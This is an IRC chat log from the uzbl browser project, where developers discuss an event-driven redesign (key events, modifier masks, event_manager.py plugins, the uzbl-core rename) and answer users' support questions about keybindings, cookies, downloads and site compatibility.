16:22 < mason-l> scj, But I mean _only_ raise an event and not scroll the current web-page as well.
16:23 < mason-l> Though I must admit I didn't realise that arrow keys were captured at all.
16:23 < rob|> yeah, all keys are captured and reported
16:23 < rob|> we just need to remove the default behaviour
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16:36 < Dieterbe> rob|: can we receive anything listed at /usr/include/X11/keysymdef.h ?
16:37 < rob|> sure
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16:38 < Dieterbe> i'll look up what the vim syntax is, but it probably doesn't support key_release events
16:38 < rob|> i think gdk_keyval_name() translates to exactly those names
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16:42 < Dieterbe> ok
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16:48 < Dieterbe> how does vim express Mod keys? I only see ^ but how can you use Alt for example?
16:49 < Dieterbe> btw rob| so we will never get Mod[1-4] but always Alt_L, Ctrl_R and such? any idea then why some apps (such as wmii) use the Mod[1-4] notation?
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16:57 < holizz> BTW, noticed something interesting today. I middle-clicked a password into a password field, and then the page updated and drew everything slightly lower... and the password had been inserted into a non-editable element.
17:06 < Dieterbe> o_O
17:06 < Dieterbe> big wtf
17:08 < mason-l> EVENT FIFO_SET [67108896] /tmp/uzbl_fifo_67108896
17:08 < mason-l> I see a FIFO_SET but no SOCKET_SET?
17:09 < mason-l> Also why does every line now start with EVENT?
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17:15 < scj> so you can filter them easily
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17:19 < Dieterbe> mason-l: what scj said
17:20 < Dieterbe> there is no SOCKET_SET event (yet) because i don't see the need for it (yet?)
17:21 < mason-l> Having it would be great.
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17:24 < Dieterbe> why?
17:24 < mason-l> Non-blocking writing back to uzbl.
17:25 < Dieterbe> and fifo blocks?
17:26 < surgeon> hi all, does the gecko media player plugin work with the webkit or just with firefox?
17:26 < surgeon> because when I open a video e.g. in uzbl the plugin isn't opened
17:33 < mason-l> Somethings not right here: "EVENT VARIABLE_SET [67108896] new_window sh 'uzbl -u $8' # equivalent to the default behaviour"
17:34 < mason-l> Also is the initial VARIABLE_SET dump only dumping values that you change in your config file?
17:35 < Dieterbe> no mason-l , anytime a variable is set. no matter through which interface
17:35 < Dieterbe> but you're right that comment shouldn't be there, patch it ;)
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18:08 < scj> the socket is pointless for the event manager, but useful for external scripts
18:09 < scj> since the event manager can just send 'print @foo' to the socket and read the output
18:09 < scj> fifo, I mean
18:16 < surgeon> how can I bind shell functions in the uzbl config?
18:16 < holizz> surgeon: bind x = sh 'echo hello world'
18:17 < scj> I don't think you can bind shell functions
18:17 < holizz> Oh, _functions_.
18:17 < surgeon> holizz: thanks
18:17 < surgeon> no I meant commands
18:17 < holizz> Okay then.
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18:18 < scj> surgeon: just remember the difference in the future :v
18:18 < holizz> scj: set shell_cmd = zsh ... bind x = sh 'zsh_specific_function()' ... should work, right?
18:19 < scj> I am not entirely sure, to be honest
18:19 < holizz> bind x = sh 'source ~/.zshrc; zsh_specific_function'
18:19 < scj> I've never bothered to figure out, I just make it into shell scripts if I intend to use it uninteractively
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18:22 < scj> so how do we make an interactive shell for uzbl?
18:23 < scj> if the event manager maintains a sh compatible file, and updates it whenever there is a variable_set event, that contains all the vars
18:24 < scj> then a shell can source that file before every command is executed
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18:25 < scj> and you could have convenience functions, like "go $url", etc
18:26 < Dieterbe> heh.
18:26 < Dieterbe> which would be pointless because $url is already the current url? ;)
18:26 < scj> not if you want to reload :v
18:27 < Dieterbe> then you could use the 'reload' command :P
18:27 < Dieterbe> rob|: i'm having an interesting discussion in the suckless channel about Modifier keys
18:27 < scj> but the point is that you'd get a shell to work as a uzbl repl
18:28 < Dieterbe> apparently xbindkeys treats 'Alt"and Mod1 exactly the same. which is wrong. most apps never use Alt and such directly (like we plan to do). instead, when pressing Alt and such, a modmask is set, and after you press a key, the Xevent has a state which depends on the modmask
18:29 < Dieterbe> so if you receive a key event for 'a', you cannot check "is alt being pressed right now", but the state tells you that a modifier is active
18:30 < scj> so we send 'EVENT KEY_PRESS [$name] <state> <key>'?
18:48 < xerebz> how do i go to url blank page
18:51 < holizz> xerebz: about:blank
18:53 < N30N> xerebz: js location = "about:blank"
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19:24 < sitwon> I just started using Uzbl and I noticed on one website "Your browser does not support inline frames..."
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19:26 < N30N> sitwon: No problem with iframes here
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19:28 < N30N> sitwon: it could be that WebKit's stricter security is breaking the page your viewing
19:30 < sitwon> N30N: How mgiht I go about fixing that?
19:34 < sitwon> would I have to re-compile WebKit or is there a config I could edit?
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19:35 < N30N> sitwon: view the stdout messages to see if WebKit's blocking anything first
19:37 < N30N> sitwon: there maybe a WebKit compile option but I wouldn't recomend disabling these security features that stops XSS attacks
19:41 < sitwon> I'm not see anyhting that looks like a security warning
19:41 < sitwon> lots of "spawned:" messages, and: Stdout: usid=nfKBtDQQOej9Ccno/bYrQA__; UserAgentId=5775249571100217502; JSESSIONID=62D87A773B073EA2BA5E47C40E4C4A24
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19:45 < N30N> sitwon: prob some badly written JavaScript or somthing then
19:52 < sitwon> man this site must be really broken... a lot of the javascript links won't open in Uzbl :(
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20:06 < sitwon> N30N: Do you know of a way to add scroll-bars?
20:09 < N30N> sitwon: you need to use one of the experimental branches to get them cant remember what one
20:15 < sitwon> is JavaScript handled by WebKit?
20:16 < N30N> sitwon: yup
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20:21 < sitwon> I assumed that since Chromium and Uzbl both used WebKit they would behave similarly
20:22 < N30N> Chromium has it's own js engine
20:23 < sitwon> That's the V8 engine, right?
20:23 < N30N> yep
20:23 < sitwon> do you think it would be practical to try to port that to Uzbl?
20:23 < N30N> no idea :)
20:24 < sitwon> I really like the concept of Uzbl, but right now some of the pages I rely on don't seem to be happy with it. :-(
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20:39 < surgeon> is there a way to set the file .uzbl in my homedir as the default config file?
20:41 < MichaelRaskin> surgeon, symlink .config/izbl/config to it?
20:41 < MichaelRaskin> surgeon, symlink .config/uzbl/config to it?
20:41 < surgeon> hmm right^^
20:41 < surgeon> and how can I open a url by pressing ohttp://www.somewhere.org without the space? by o_?
20:41 < surgeon> ah yeah that works *g*
20:41 < surgeon> sry
20:42 < stalafin> hey guys.. remember my problem earlier not being able to open a new instance of uzbl from within uzbl - any other ideas what i could try? rob| assumed it might have to do with the cookie_daemon.py, but the problem persists even with that one
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20:49 < sitwon> in the config file, what is the difference between '*' and '_'?
20:50 < N30N> sitwon: see the readme
20:52 < sitwon> oh, helpful!
20:53 < sitwon> that's a really neat trick
20:56 < sitwon> how do I specify ctrl-g and alt-g? (I don't see it in the Readme)
20:56 < surgeon> where do I get the scripts, like hints.js, which is called in the example config. it's not a script from vimperator, is it?
20:57 < N30N> surgeon: the examples folder
20:58 < surgeon> N30N: ah, I didn't make it executable, that's why I couldn't load it
20:58 < N30N> sitwon: you need to enter a literal control character (in vim done via insetmode <C-v><C-g> <-- thats' for the <C-g>)
20:59 < surgeon> still doesn't work :(
21:00 < N30N> surgeon: did you move them to match the path in the config?
21:00 < sitwon> is there any way to reload the config in an open window?
21:01 < N30N> there's a reload command
21:02 < N30N> erm not that not what you want
21:06 < N30N> sitwon: gotta go out (fg's getting mad :)), be back laterz
21:06 < N30N> but it can be done with fofi
21:10 < sitwon> N30N: thanks!
21:28 < sitwon> I can to Ctrl-<letter> but how about Alt-<letter>?
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21:48 < surgeon> N30N: yeah, the path variable was wrong had ~ in there, but it couldn't resolve it
21:50 < surgeon> how can I adjust the rendering engine so it already shows the page though it may not be loaded already? i think that rendering is slower than on my firefox
21:52 < Dieterbe> impossible
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22:36 < surgeon> Dieterbe: to make it render faster or impossible, that firefox renders faster?\]
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22:46 < test21182> Hi! Anyone else getting annoyed as soffice-bin starts with uzbl?
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22:50 < test21182> It looks like Webkit is searching for netscape/mozilla plugins and finds libnpsoplugin.so, which is the openoffice-plugin, in /usr/lib/mozilla/plugins/.
22:54 < sitwon> test21182: I haven't noticed that, maybe I don't have that plugin
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22:57 < test21182> sitwon: I'm using it in firefox (firefox about:plugins) and therefore also in uzbl. Oh, and also in Midori (another Webkit browser). Midori also starts with soffice-bin as long as libnpsoplugin.so can be found.
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23:33 < Dieterbe> surgeon: it's impossible that firefox renders faster. probably your uzbl is slown down by spawning things (like cookie handlers)
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23:58 < surgeon> Dieterbe: I remember that there were some tweaks you could set to the firefox render engine like pipes or showing the page when it's not fully loaded etc. is this automatically set for the uzbl render engine (webkit?)?
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00:02 < surgeon> guess I've just seen a ghost, having firefox and uzbl side by side they seem equal in render speed
00:02 < surgeon> but now I've disabled all the plugins...
00:04 < surgeon> Dieterbe: it's the cookie script? why does it slow down uzbl so much? is there a better option?
00:05 < surgeon> hmm I always thought I needed cookies for login pages, but doesn't seem so
00:05 < xerebz> is there a way to have the same go*,gn* type of quickmark system with uzbl?
00:05 < surgeon> what kind of quickmark system?
00:08 < surgeon> where do I tell uzbl which files to download and which to show?
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01:17 < xerebz> how do i get something on the clipboard into uzbl (its a url)
01:17 < xerebz> like something selected in another program
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02:03 < surgeon> xerebz: with tool such as xsel
02:04 < surgeon> bind    p         = sh 'echo "uri `xclip -selection primary -o`" > $4 (from the example config)
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02:27 < xerebz> nice. and how about to make middle mouse do this?
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10:19 < Dieterbe> morning ladies
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10:31 < holizz> Hi.
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10:46 < Dieterbe> holizz: are you interested in keybind/command implementations?
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10:53 < holizz> Dieterbe: It's not a major interest. But I was looking at your branch earlier. I might give it a try later.
10:53 < holizz> But now, I have to see a man about a flat.
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11:01 < rob|> hmm, xmonad's emacs style bindings look like a pretty neat way to for the user to set bindings: http://hackage.haskell.org/packages/archive/xmonad-contrib/0.8/doc/html/XMonad-Util-EZConfig.html#3
11:02 < rob|> they also support submaps, which is pretty nice, too
11:03 < rob|> it's also tested and used in the wild since some time
11:03 < rob|> maybe we should follow that style in the default keyhandler
11:07 < Dieterbe> hmm the submap thing is nothing more then a method to avoid retyping some common "first parts" of keybindings right? i think it's more kiss to have a bit of redundancy in keybindings then implementing such a submap thing
11:09 < rob|> well, sort of. did you ever work with emacs?
11:09 < Dieterbe> barely
11:15 < Dieterbe> so..?
11:28 < rob|> well, so you know how things work there
11:28 < rob|> i don't say we need submaps just that syntax looks easily comprehensible
11:28 < rob|> and powerful enough for most use cases
11:30 < rob|> oh on a side note the dispatcher should probably have a structure of:  while read events; do get EVENT_TYPE; call type_function(event_details); done
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11:31 < rob|> that way we can keep it easily extandable by just writing new functions for other event types
11:32 < Dieterbe> yeah sure
11:32 < Dieterbe> btw did you see what i wrote yesterday about modkeys, xbindkeys etc?
11:32 < rob|> yeah, saw that
11:32 < Dieterbe> is this stuff you already knew? :)
11:33 < rob|> yeah
11:33 < rob|> denpending on how fancy you want things to be we should probably include the modifier mask in the key events
11:34 < rob|> like: EVENT KEY_PRESS [name] Alt_L|Mod2 actual_key
11:34 < rob|> or something like that
11:35 < Dieterbe> well, i don't know if we need that.  since we track the state of Modkeys because we watch the key_press and key_release events for them
11:35 < Dieterbe> these approaches seem to overlap
11:35 < Dieterbe> the question is "which is best" ;)
11:35 < rob|> indeed, that's why i did it the easy way
11:37 < Dieterbe> i think the event messages way is simpler, but more "unorthodox" when compared to other programs out there. but then again, those programs don't use an event system like we do
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12:07 < Dieterbe> rob|: heeey wait a minute. with our event messages approach we can turn _any_ key into a fake modifier key! this is one of the things i want to do for already a long time. for example to type a+e instead of Alt+e
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12:08 < Dieterbe> man there are some many possible combinations, with all those "modifier" keys
12:08 < Dieterbe> Me too.
12:08 < Dieterbe> - blob
12:08 < Dieterbe> Me three.
12:08 < Dieterbe> oops. sorry about this bogus paste
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12:13 < sman> hey - gif animations are really slow in uzbl
12:13 < sman> i think this references the bug: http://www.uzbl.org/bugs/index.php?do=details&task_id=93&project=0
12:13 < sman> any idea on when it will be fixed?
12:14 < sman> webkit seems to be able to handle it in safari and chrome.
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12:47 < rob|> sman: we use webkitgtk and not the objective C one that safari uses.
12:47 < rob|> i.e. there is more than one webkit port...
12:48 < sman> oh ok
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13:42 < github> uzbl: Dieter Plaetinck event-messages SHA1-3965a67
13:42 < github> add few more thoughts/todos + implementation proposals
13:42 < github> http://bit.ly/QqU0u
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13:43 < Dieterbe> guys? rob| DuClare . check implementation proposal #2 at http://github.com/Dieterbe/uzbl/blob/3965a6746baef284706ae3698d4cf0ab40bd4ff4/docs/TODO
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13:58 < github> uzbl: Dieter Plaetinck event-messages SHA1-4748a2c
13:58 < github> correct order of sections
13:58 < github> http://bit.ly/i1IvE
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16:46 < sitwon> I'm kinda disappointed that github doesn't work correctly w/ uzbl :(
16:47 < Dieterbe> what do you mean
16:48 < sitwon> Dieterbe: I clicked the Watch button to watch your repo, and it turned into the "unwatch" button, but it didn't actually add your repo to my watch list
16:49 < sitwon> ack, I guess it's not a uzbl bug but a github bug because it just happened w/ Firefox too
16:49 < sitwon> I know this used to work
16:49 < Dieterbe> i guess it's just github being slow then
16:50 < sitwon> heh, sorry for the false report
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16:51 < sitwon> Dieterbe: you might know this... would it be feasible to try to port V8 to Uzbl? Would there be any benefit to doing so?
16:52 < Dieterbe> no idea
16:52 < Dieterbe> i think webkit is quite ok
16:53 < sitwon> I found a website that works in Chrome but not Uzbl and someone suggested it was a javascript issue
16:53 < sitwon> so I thought making Uzbl more like Chrome would fix it
16:54 < sitwon> s/Chrome/Chromium/
16:54 < Dieterbe> for a small browser like uzbl, switching the engine means pretty much rewriting the complete browser
16:56 < mason-l> Dieterbe, Has an update been pushed into the event-messages branch that adds the KEY_RELEASE event?
16:57 < Dieterbe> not that i know of
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16:58 < mason-l> Ok.
16:59 < rob|> man, strange things happening here
17:00 < rob|> from one moment to the other my filesystem is write only, although mount shows it as rw
17:00 < rob|> erm, read only that is
17:03 < rob|> hah, funny remounting fails with an error: block device foo is write-protected
17:03 < rob|> talking about a partition on a hdd
17:04 < Dieterbe> rob|: if your / becomes ro, your /etc/mtab cannot be updated
17:04 < Dieterbe> so mtab still says 'rw' which is incorrect
17:04 < rob|> no, it's just /home
17:04 < rob|> is still writeable
17:05 < rob|> ^ /
17:05 < Dieterbe> hmm.. odd
17:05 < Dieterbe> check your dmesg
17:05 < rob|> indeed, never had something like this happen
17:05 < Dieterbe> doesn't sound healthy
17:08 < rob|> i guess it's time to finally dump this hdd
17:08 < rob|> into the trash that is ;)
17:12 < holizz> So how do I get this event-messages branch working?
17:12 < holizz> I tried: make && ./uzbl | examples/data/uzbl/scripts/event_manager.py
17:12 < Dieterbe> yeah , or `make test-dev-dispatched` which is pretty much the same
17:13 < rob|> holizz: i guess the dispatcher has rather rudimentary functionality as of now
17:14 < holizz> So do I have to set something up before something'll happen? Is there a new config file or something? Because hitting keys doesn't update keycmd anymore.
17:14 < rob|> Dieterbe: did you already remove the old binding code?
17:14 < Dieterbe> right now the event handler doesn't have much functionality at all
17:15 < Dieterbe> hmm i removed _some_ stuff but not everything. diff against experimental for specifics
17:16 < rob|> holizz: for a brief overview: http://lists.uzbl.org/pipermail/uzbl-dev-uzbl.org/2009-August/000261.html
17:16 < mason-l> I'm busy hacking away on my event handler (working on plugin loading at the moment).
17:16 < rob|> mason-l: oh, nice :)
17:16 < Dieterbe> the hard part is the keybinding format/parsing (see my last mail to ML)
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17:23 < rob|> Dieterbe: well, i think we shouldn't make that too fancy
17:24 < Dieterbe> since we are slimming down uzbl even more and the recommended/common usage of it will be by using the cookie_daemon.py and such, what do you guys think about renaming uzbl.c to uzbl-core.c (so there will also be /usr/bin/uzbl-core)?
17:24 < Dieterbe> the /usr/bin/uzbl we would then ship would be a shell script something like 'uzbl | $XDG.../event_manager.py'
17:25 < rob|> [x] vote
17:25 < Dieterbe> or even /usr/bin/uzbl-browser
17:25 < Dieterbe> later there could be uzbl-rssreader which would also use uzbl-core
17:25 < mason-l> Seconded.
17:25 < rob|> yeah
17:25 < mason-l> Motion carried.
17:26 < Dieterbe> allright
17:26 < Dieterbe> i guess we should do this change in the event-messages branch
17:27 < Dieterbe> i just realised, the concept of insert mode and such will also be entirely removed from uzbl-core, into the event_handler.py
17:27 < rob|> right
17:28 < mason-l> Dieterbe, Naturally.
17:29 < Dieterbe> which shows that we also need a good way to have a config system for event_handler.py, preferably a dynamic one that integrates with uzbl-core (maybe custom variables in uzbl, which give VARIABLE_SET events that event_handler.py can monitor to set its own internal variables?)
17:29 < mason-l> Dieterbe, Already covered in my event_manager.py
17:30 < mason-l> (Just want to get sample plugin loading working before committing my changes).
17:30 < Dieterbe> how did you do the config system? the way i described?
17:33 < mason-l> Yeah, I've made a meta config dictionary which automatically propagates changes back to the uzbl instance automatically. So people can uzbl.config['fifo_dir'] = "/tmp/" and the change is made in uzbl.config & a set command is sent back to the uzbl instance (which in this case is "set fifo_dir = /tmp/").
17:33 < rob|> hmm, i really like how fast things develop if people can just use the language that suits them best
17:34 < rob|> i'm in no way a fan of m$ but they realized this too with .net
17:35 < mason-l> My mind was blown today, I learned of the "set mouse=a" vim option.
17:36 < rob|> mason-l: how well will the event-messages integrate with uzbl_tabbed, that was my main concern when i said we should probably also support the socket for event distribution
17:38 < mason-l> rob|, Absolutely horribly, which is why I've built my event_manager.py from the ground up to _potentially_ handle multiple uzbl instances at once.
17:38 < rob|> ah, i see
17:38 < rob|> so, i will just lean back and wait for you commit ;)
17:41 < holizz> mason-l: Gah. I have set mouse= in my .vimrc. I can't quite remember what it does, but I recall I hated it.
17:42 < mason-l> well mouse=a allows you to navigate around and select with the mouse.
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17:44 < holizz> mason-l: Ah yes. Clicking on a terminal with the mouse means "I want focus to change to the terminal" in my vocabulary.
17:45 < mason-l> holizz, I'm just experiencing that
17:45 < mason-l> But its faster to switch between frames now
17:45 < rob|> holizz: what, no sloppy focus?
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17:46 < rob|> click-to-focus is horrible
17:46 < holizz> rob|: I never liked sloppy.
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17:48 < holizz> But that's all in the past now - awesome technically does sloppy, but I don't use the mouse much, and I'm generally using one window per tab.
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17:48 < gnuisancev4> in the conifg file, how would I bind C-c, what's the syntax for Ctl and Alt keys?
17:49 < gnuisancev4> i'm having a hard time adjusting from keybindings in vimperator and trying to make them similar
17:49 < rob|> gnuisancev4: patience young padavan, we are exactly at that right now (:
17:50 < gnuisancev4> cool, thanks
17:51 < rob|> gnuisancev4: basically we completly outsourced event handling (and with this also keybindings) so you#ll be able to either use a default event handler or write your own in any language
17:52 < gnuisancev4> nice
17:53 < Dieterbe>  mason-l> Yeah, I've made a meta config dictionary which automatically propagates changes back to the uzbl instance automatically. So people can uzbl.config['fifo_dir'] = "/tmp/" and the change is made in uzbl.config & a set command is sent back to the uzbl instance  (which in this case is "set fifo_dir = /tmp/")
17:53 < Dieterbe> hmm this is exactly the  opposite of what i said :P
17:53 < mason-l> Whoops :)
17:54 < Dieterbe> in my case , uzbl-core was the primary place for config changes, and event_handler is the "slave" that gets the event and changes its internal var
17:54 < mason-l> Dieterbe, I'll just let my code do the talking :)
17:54 < Dieterbe> in your case, how can the user change at runtime config settings for the event_manager? in my case you can use theinterfaces from uzbl-core (its socket, fifo etc)
17:55 < sitwon> have you guys seen this? http://gpl.internetconnection.net/vi/
17:55 < Dieterbe> heh. col
17:55 < Dieterbe> cool*
17:56 < sitwon> unfortunately doen't work for me in Uzbl :(
17:56 < Dieterbe> yeah you need to press 'i' twice in uzbl
17:56 < sitwon> I wanted to use that for all multi-line text input
17:56 < Dieterbe> to go in insert mode in uzbl, then for insert mode in jsvi :P
17:56 < Dieterbe> but if you press esc, uzbl catches it first
17:56 < rob|> sitwon: heh, nice
17:56 < Dieterbe> jsvi cannot 'steal' that from uzbl (again a proof why the web sucks)
17:58 < Dieterbe> rob| / mason-l what's the problem with event_handler + uzbl_tabbed? i mean , uzbl_tabbed wraps around many uzbl instances. does it matter if those uzbl instances use internal handlers or stuff on their stdout?
17:59 < mason-l> Dieterbe, The main problem is the binds that uzbl_tabbed.py sets.
18:00 < sitwon> Dieterbe: it would be awesome to have that kind of vi-like input available for all multi-line text input areas
18:00 < mason-l> Theres nothing stopping uzbl_tabbed.py running with uzbl's that use event managers its just you will not be able to change tab, close a tab, open a new tab, etc.
18:00 < N30N_> sitwon: I just use the real thing... http://pastebin.com/d7701cb36
18:00 < Dieterbe> sitwon: yes, that would be interesting. but doing it in JS would probably be the wrong way to do it (i think it would be better to have it in C)
18:01 < Dieterbe> mason-l: why not?
18:01 < rob|> btw, even FF seems to have issues with jsvi
18:02 < mason-l> Dieterbe, Because we are removing binds in uzbl. uzbl_tabbed.py will need to be modified to send those bind commands to the event manager.
18:03 < rob|> that shouldn't be a big thing, though
18:06 < Dieterbe> i'm still missing something. probably because i don't know uzbl_tabbed well enough
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18:06 < Dieterbe> why would uzbl_tabbed need to send anything to the event manager directly? the event manager gets everything uzbl gets
18:07 < Dieterbe> the bindings you send to uzbl are propagated to the event manager (if we use the config system i explained earlier(
18:07 < mason-l> Dieterbe, Because the change tab, new tab, close tab and etc aren't static binds. Each command is unique.
18:07 < mason-l> Wait what? Oh thats what you mean.
18:08 < mason-l> Ok then we might not have a problem afterall.
18:08 < mason-l> (If we implement it correctly)
18:08 < Dieterbe> man, that took a while ^^
18:12 < mason-l> I'm preoccupied at the moment thats why.
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18:21 < sitwon> N30N_: I really suck as JS, how do I use this open_in_editor script?
18:21 < sitwon> w/ Uzbl...
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18:24 < N30N_> sitwon: just add it to your load_commit_handler (set load_commit_handler = script $XDG_DATA_HOME/uzbl/scripts/open_in_editor.js) and invoke it with <C-i> (like vimperator) with a textarea focused, you also need to be in insert mode
18:25 < sitwon> ah, it works!
18:25 < sitwon> thanks N30N_
18:25 < N30N_> np :)
18:26 < rob|> oh, btw. with the event msgs we can also get rid of chain
18:27 < Dieterbe> oh yeah
18:27 < N30N_> sitwon: I'll make it more customizable when I have time and put it on the wiki
18:28 < sitwon> N30N_: how does keycode === 105 become 'i'?
18:28 < sitwon> or am I reading it wrong?
18:28 < Dieterbe> rob|: one bad issue that remains is the "if socket doesn't exist/unresponsive, spawn process $foo and try again" part we want for talk_to_socket (cookie_daemon)
18:28 < Dieterbe> no wait
18:29 < N30N_> sitwon: it just dose :)
18:29 < Dieterbe> if socket  doesn't exist/unresponsive, we can trigger an event..
18:29 < Dieterbe> hmmmz.. but still...
18:29 < sitwon> N30N_: it's weird because I was trying to look it up any everything said "Numlock 9"
18:29 < mason-l> Dieterbe, cookie_daemon.py has got quite good at finding abandoned and unresponsive sockets/daemons.
18:29 < N30N_> sitwon: if you want a dif key open jsc  and do "i".charCodeAt() <-- to get the code
18:30 < mason-l> To be 100% perfect we would need to use a pid file for the daemon as well so if need be we can kill the pid.
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18:32 < github> uzbl: Dieter Plaetinck event-messages SHA1-ac0be80
18:32 < github> todo updates
18:32 < github> http://bit.ly/BnsoV
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18:35 < Dieterbe> mason-l: yes, but we need a performant way to have uzbl check if the socket declared in the talk_to_socket command exists and responds, and if not, calls a certain process (cookie_daemon.py). this is not the task of cookie_daemon.py. uzbl should do this. and without spawning processes if it's not needed
18:36 < Dieterbe> i will give the 'uzbl -> uzbl-core' thing a shot
18:37 < Dieterbe> while i'm waiting for your event manager
18:42  * mason-l grins
18:42 < mason-l> I've just got it working :D
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18:57 < Dieterbe> mason-l: in any of your currently included python scripts, do you call (spawn 'uzbl') somewhere?
18:57 < Dieterbe> grep uzbl gives me way too many hits
18:57 < mason-l> Dieterbe, in uzbl_tabbed.py I call it once.
18:58 < mason-l> In the new_tab function
18:58 < Dieterbe> k
18:58 < mason-l> (from memory)
18:59 < mason-l> I would leave uzbl_tabbed.py calling the launcher script though because that launcher currently still needs to start the cookie daemon
18:59 < Dieterbe> "the launcher script" ? i changed it so it starts uzbl-browser instead of uzbl
18:59 < Dieterbe> anduzbl-browser basically does : 'uzbl-core | event_manager.py'
19:00 < mason-l> so uzbl-browser is the uzbl-core wrapper?
19:01 < Dieterbe> yes. but it does not do anything related to cookie_daemon if that's what you're wondering
19:02 < mason-l> Just keep in mind if cookie_daemon.py needs to be launched somehow.
19:02 < Dieterbe> sure
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19:22 < surgeon> hi all
19:22 < surgeon> Dieterbe: when I open amazon.de uzbl takes much longer showing any images than firefox
19:22 < Dieterbe> cookie daemon?
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19:22 < github> uzbl: Dieter Plaetinck event-messages SHA1-b9013fb
19:22 < github> move 'uzbl' to more specific 'uzbl-core' program, and add 'uzbl-browser' script which wraps around it to make the browser
19:22 < github> http://bit.ly/JWaCE
19:22 < surgeon> Dieterbe: I am just using the downloadscript, so it can't be any slow down
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19:23 < surgeon> anyway, how can I define which files uzbl will open and which it will download?
19:23 < Dieterbe> scheme_handler
19:23 < surgeon> thanks
19:25 < Dieterbe> rob|: mason-l . i just did the uzbl -> uzbl-core rename in event-messages.  it's a 7462 lines diff. i strongly recommend to merge it in your event-messages branches asap
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19:32 < surgeon> Dieterbe: hmm I can't find anything about scheme_handler, how does it work?
19:34 < Dieterbe> it's an example script and it's documented. get a newer uzbl
19:36 < sitwon> Dieterbe: it looks like scheme.py handles the URI scheme, not the extension or mime-type, is that right?
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19:37 < github> uzbl: Dieter Plaetinck event-messages SHA1-5209693
19:37 < github> fix some forgotten changes to Makefile in previous commit
19:37 < github> http://bit.ly/pxOem
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19:37 < Dieterbe> sitwon: ah, that could be right
19:37 < Dieterbe> holizz: ?
19:37 < mason-l> Dieterbe, rob|: I've pushed my event_manager.py to github
19:37 < mason-l> http://github.com/mason-larobina/uzbl/blob/aa600e2b7611e9c81ced9b405ecd1b2dc14a1ff2/examples/data/uzbl/scripts/event_manager.py
19:38 < surgeon> so how to I define to open e.g. an avi in webkit?
19:38 < mason-l> Dieterbe, rob|: Make sure to copy over the plugins when testing it (or it will do nothing useful).
19:39 < sitwon> surgeon: I think that relies on your plugins
19:39 < sitwon> (I'm just guessing)
19:39 < surgeon> or open it with an external player (well I could do this by modifying the download script), because images are opened by uzbl rather then downloaded?
19:39 < surgeon> sitwon: I don't think so, because I have the plugins installed and they work e.g. in firefox
19:40 < sitwon> surgeon: I have a feeling that you need to make a modification where ever the MIME-type handling is occuring
19:42 < mason-l> Dieterbe & rob|: let me know if you have any questions about how it works
19:42 < Dieterbe> -Sample event manager written in python
19:42 < Dieterbe> +Some descriptive text here.
19:42 < Dieterbe> o_O
19:42 < mason-l> Oh whoops.
19:43 < Dieterbe> and then there is stuff like:
19:43 < Dieterbe> -# (at your option) any later version.   
19:43 < Dieterbe> +# (at your option) any later version.
19:43 < Dieterbe> ah, that's whitespace bugs at my end
19:43 < Dieterbe> nm that
19:43 < mason-l> :)
19:44 < Dieterbe> todo: spell checking??
19:44 < Dieterbe> oh you mean spell checking your code?
19:44 < mason-l> Yeah and docstrings
19:44 < Dieterbe> i see
19:45 < mason-l> If you want a starting point jump directly to the sample scripts.
19:47 < surgeon> sitwon: an where is that?
19:50 < Dieterbe> mason-l: # Config dict (NOT the same as the uzbl.config). <-- where is uzbl.config?
19:50 < mason-l> The dict class is on line 209: ConfigDict
19:51 < mason-l> Which then becomes self._config, then exposed via the self.config property on line 277
19:51 < mason-l> Just to make sure people don't do anything silly like write over it or something.
19:52 < Dieterbe> i'm gonna eat something. bbl
19:53 < sitwon> surgeon: I have no idea, I just started playing w/ uzbl yesterday
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20:07 < rob|> mason-l: nice! as far as i can tell this looks really good, i like the plugin based approach
20:09 < mason-l> Thanks rob|. It's still far from perfect though. I added the uzbl.bind function but without the internals for keycmd tracking its useless at the moment.
20:10 < rob|> hmm, yeah. i'm not sure wether (only) reporting the key 'names' is the best idea.
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20:10 < rob|> maybe we could have a config var so we're able to report the keysyms so we can use standard functions for many tasks
20:11 < mason-l> keysyms?
20:11 < rob|> yeah, something usable by python's X11 module
20:11 < rob|> or any other X11 lib/module for that matter
20:12 < mason-l> Is that like the raw key id?
20:12 < rob|> yeah, almost
20:12 < mason-l> (I missed the talk's about that earlier)
20:13 < rob|> basically, you bind raw key IDs to well known keysysms (which also have a symbolic name, if you will)
20:14 < rob|> so uzbl would report either that symbolic name (that's what we do now) or the numeric keysym
20:14 < rob|> so we wouldn't need to parse/tranlate that ourselves but use X11 functions to do it
20:15 < mason-l> Nice
20:18 < rob|> well, hopefully i can persuade my home partition to allow me to write to it
20:18 < rob|> then i'll add the key_release thing and one additional field withe the keysym to the KEY_* events
20:19 < rob|> need to run now, though. bbl
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20:50 < sitwon> lenovo.com doesn't seem to work for me, can someone else confirm?
20:53 < boxxar> works fine here
20:54 < boxxar> http://downforeveryoneorjustme.com/lenovo.com <-- dfeojm says, that it's down :-/
20:55 < sitwon> boxxar: Firefox displays the page, but uzbl shows me a bunch of random characters (mostly diamonds w/ question marks) so I guess it's trying to display some binary file
20:55 < boxxar> wrong mime type I think
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21:13 < mason-l> Night guys
21:29 < ruskie> *yawn*
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21:31 < MichaelRaskin> sitwon, looks like a clueless server sending gzipped content regardless the HTTP headers sent by client
21:32 < holizz> surgeon, sitwon, Dieterbe: Yes, scheme_handler only handles the schema - you want to set download_handler to do different things with different MIME types (although if WebKit thinks it can open something itself, it will do that).
21:50 < surgeon> holizz: so how can I download an image? *gg*
21:52 < holizz> surgeon: Right-click on it -> save target as.
21:52 < surgeon> is there a way to give the htaccess user and password from uzbl/webkit to the download manager?
21:52 < holizz> No.
21:53 < surgeon> that sucks, how can I then browse files in a htaccess protected folder?
21:57 < surgeon> and how can I set uzbl to download files?
21:57 < surgeon> sry, I mean iamges
21:57 < surgeon> images
21:59 < holizz> surgeon: You could set up a handler to get the HEAD of the resource, and then decide whether or not to download based on that, and hardcode the HTTP credentials into the download handler.
21:59 < holizz> Not ideal.
22:00 < holizz> We should really put the MIME type into the set of variables that get sent to every shellout.
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22:46 < evaryont> How do I get cookies set up? I'm using the example config atm, is having cookie_handler set all that is needed?
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22:47 < evaryont> 'cause I don't think I can log into github.com in uzbl...
22:48 < Dieterbe> yeah that should be it. and of course have it at the correct location
22:52 < Dieterbe>         # Fifo socket and socket file locations.
22:52 < Dieterbe>         self.fifo_socket = None
22:52 < Dieterbe>         self.socket_file = None
22:52 < Dieterbe>         # Outgoing socket
22:52 < Dieterbe>         self._socketout = []
22:52 < Dieterbe>         self._socket = None 
22:52 < Dieterbe>         # Outgoing fifo
22:52 < Dieterbe>         self._fifoout = []
